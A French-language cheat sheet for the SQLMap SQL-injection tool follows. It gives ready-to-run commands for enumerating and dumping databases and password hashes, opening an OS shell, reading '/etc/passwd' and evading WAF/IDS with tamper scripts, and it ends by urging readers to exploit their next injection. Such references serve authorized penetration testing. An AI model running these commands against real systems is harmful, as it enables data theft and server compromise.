Aide-mémoire SQLMap
Référence complète pour l'automatisation des injections SQL
Détection • Énumération • Extraction de données • Accès shell
📑 Navigation rapide
Qu'est-ce que SQLMap ?
SQLMap est un outil de test d'intrusion open-source qui automatise la détection et l'exploitation des failles d'injection SQL. Il prend en charge une large gamme de systèmes de gestion de bases de données, notamment MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, et bien d'autres.
SQLMap est préinstallé sur Kali Linux. Code source disponible sur github.com/sqlmapproject/sqlmap.
📦 Installation
Kali Linux (Préinstallé)
sqlmap --version
Installation pip
pip install sqlmap
Depuis Git
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap && python sqlmap.py
Mise à jour
sqlmap --update
🎯 Utilisation de base
# Test de paramètre GET basiquesqlmap -u "http://<target>/page?id=1"# Requête POSTsqlmap -u "http://<target>/login" --data="user=admin&pass=test"# Tester un paramètre spécifiquesqlmap -u "http://<target>/page?id=1&name=test" -p id# Depuis un fichier de requête Burpsqlmap -r request.txt# Test avec cookiesqlmap -u "http://<target>/page?id=1" --cookie="PHPSESSID=abc123"# En-têtes personnaliséssqlmap -u "http://<target>/api/data" --headers="Authorization: Bearer token123"
💡 Astuce pro
Enregistrez les requêtes Burp Suite comme fichiers et utilisez -r request.txt — cela préserve automatiquement tous les en-têtes, cookies et données POST.
🔍 Options de détection
| Option | Description |
|---|---|
| --level=LEVEL | Niveau de test (1-5, défaut 1). Plus élevé = plus de tests |
| --risk=RISK | Niveau de risque (1-3, défaut 1). Plus élevé = tests plus risqués |
| -p PARAM | Tester uniquement un paramètre spécifique |
| --dbms=DBMS | Forcer un SGBD spécifique (mysql, mssql, oracle, etc.) |
| --technique=TECH | Spécifier les techniques d'injection (BEUSTQ) |
| --string=STRING | Chaîne qui apparaît sur condition vraie |
| --not-string=STRING | Chaîne qui apparaît sur condition fausse |
Techniques d'injection (--technique)
| B | Boolean-based blind (aveugle basé sur booléen) |
| E | Error-based (basé sur les erreurs) |
| U | UNION query-based (basé sur UNION) |
| S | Stacked queries (requêtes empilées) |
| T | Time-based blind (aveugle basé sur le temps) |
| Q | Inline queries (requêtes en ligne) |
📊 Énumération
| Option | Description |
|---|---|
| --banner | Récupérer la bannière du SGBD |
| --current-user | Utilisateur actuel de la base de données |
| --current-db | Nom de la base de données actuelle |
| --is-dba | Vérifier si l'utilisateur est DBA |
| --users | Énumérer les utilisateurs de la base |
| --passwords | Énumérer les hashes de mots de passe |
| --privileges | Énumérer les privilèges utilisateur |
| --dbs | Énumérer les bases de données |
| --tables | Énumérer les tables |
| --columns | Énumérer les colonnes |
| --schema | Énumérer le schéma complet |
| --count | Compter les entrées dans les tables |
💾 Extraction de données
| Option | Description |
|---|---|
| -D DB | Spécifier le nom de la base de données |
| -T TABLE | Spécifier le nom de la table |
| -C COLUMNS | Spécifier les colonnes (séparées par virgule) |
| --dump | Extraire le contenu de la table |
| --dump-all | Extraire toutes les bases de données |
| --start=N | Commencer à partir de la ligne N |
| --stop=N | Arrêter à la ligne N |
| --where=COND | Clause WHERE pour l'extraction |
| --sql-query=QUERY | Exécuter une requête SQL personnalisée |
| --sql-shell | Shell SQL interactif |
Flux d'extraction courant
# Étape 1 : Lister les bases de donnéessqlmap -u "http://<target>/page?id=1" --dbs# Étape 2 : Lister les tables dans la basesqlmap -u "http://<target>/page?id=1" -D targetdb --tables# Étape 3 : Lister les colonnes dans la tablesqlmap -u "http://<target>/page?id=1" -D targetdb -T users --columns# Étape 4 : Extraire des colonnes spécifiquessqlmap -u "http://<target>/page?id=1" -D targetdb -T users -C username,password --dump# Extraire la table entièresqlmap -u "http://<target>/page?id=1" -D targetdb -T users --dump
🖥️ Accès OS
| Option | Description |
|---|---|
| --os-shell | Shell OS interactif |
| --os-cmd=CMD | Exécuter une commande OS |
| --os-pwn | Obtenir un shell OOB (Meterpreter/VNC) |
| --file-read=FILE | Lire un fichier depuis le serveur |
| --file-write=LOCAL | Écrire un fichier local sur le serveur |
| --file-dest=PATH | Chemin de destination sur le serveur |
| --reg-read | Lire une clé du registre Windows |
⚠️ Prérequis pour le shell OS
L'accès OS nécessite : support des requêtes empilées, privilèges DBA, et permissions SGBD appropriées (privilège FILE pour MySQL, xp_cmdshell pour MSSQL).
📤 Options de requête
| Option | Description |
|---|---|
| -r FILE | Charger la requête depuis un fichier |
| --data=DATA | Chaîne de données POST |
| --cookie=COOKIE | Valeur du cookie HTTP |
| --headers=HEADERS | En-têtes supplémentaires (séparés par newline) |
| --user-agent=UA | User-Agent personnalisé |
| --random-agent | Utiliser un User-Agent aléatoire |
| --referer=REFERER | En-tête Referer personnalisé |
| --proxy=PROXY | Utiliser un proxy (http://host:port) |
| --tor | Utiliser le réseau Tor |
| --method=METHOD | Forcer la méthode HTTP (GET/POST/PUT) |
🛡️ Contournement WAF/IDS
| Option | Description |
|---|---|
| --tamper=TAMPER | Utiliser un/des script(s) tamper |
| --delay=SECONDS | Délai entre les requêtes |
| --timeout=SECONDS | Timeout de connexion |
| --retries=N | Tentatives en cas de problème de connexion |
| --randomize=PARAM | Randomiser la valeur du paramètre |
| --safe-url=URL | URL à visiter entre les tests |
| --safe-freq=N | Visiter l'URL safe toutes les N requêtes |
Scripts tamper courants
# Contournement d'espacesspace2comment, space2plus, space2randomblank# Manipulation de casserandomcase, uppercase, lowercase# Encodagebase64encode, charencode, charunicodeencode# Injection de commentairesbetween, equaltolike, commalessmid# Spécifiques à la base de donnéesmodsecurityzeroversioned (MySQL), sp_password (MSSQL)# Tampers multiples--tamper="space2comment,randomcase,charencode"
⚡ Optimisation
| Option | Description |
|---|---|
| --threads=N | Threads concurrents max (défaut 1) |
| --batch | Ne jamais demander d'entrée utilisateur (utiliser les défauts) |
| --flush-session | Vider les fichiers de session pour la cible |
| --fresh-queries | Ignorer les résultats de requêtes en cache |
| --null-connection | Ne pas récupérer le corps de la page (plus rapide) |
| -o | Activer les options d'optimisation |
| -v LEVEL | Verbosité (0-6, défaut 1) |
🔥 Scénarios d'attaque courants
# Scan automatique completsqlmap -u "http://<target>/page?id=1" --batch --dbs# Scan agressif avec toutes les techniquessqlmap -u "http://<target>/page?id=1" --level=5 --risk=3# Tester un formulaire de login POSTsqlmap -u "http://<target>/login" --data="user=admin&pass=test" --dbs# Test avec authentificationsqlmap -u "http://<target>/api/data?id=1" --cookie="session=abc123" --dbs# Extraire et cracker les mots de passesqlmap -u "http://<target>/page?id=1" --passwords --batch# Obtenir un shell OSsqlmap -u "http://<target>/page?id=1" --os-shell# Lire un fichier depuis le serveursqlmap -u "http://<target>/page?id=1" --file-read="/etc/passwd"# Scan avec contournement WAFsqlmap -u "http://<target>/page?id=1" --tamper="space2comment,randomcase" --random-agent
📚 Ressources supplémentaires
💉 Aide-mémoire SQLMap terminé !
Vous disposez maintenant d'une référence complète pour l'outil d'automatisation d'injection SQL le plus puissant. De la détection à l'extraction de données jusqu'à l'accès OS, ces commandes sont ce que les testeurs d'intrusion utilisent pour exploiter les vulnérabilités de bases de données.
Prêt à exploiter votre prochaine injection SQL !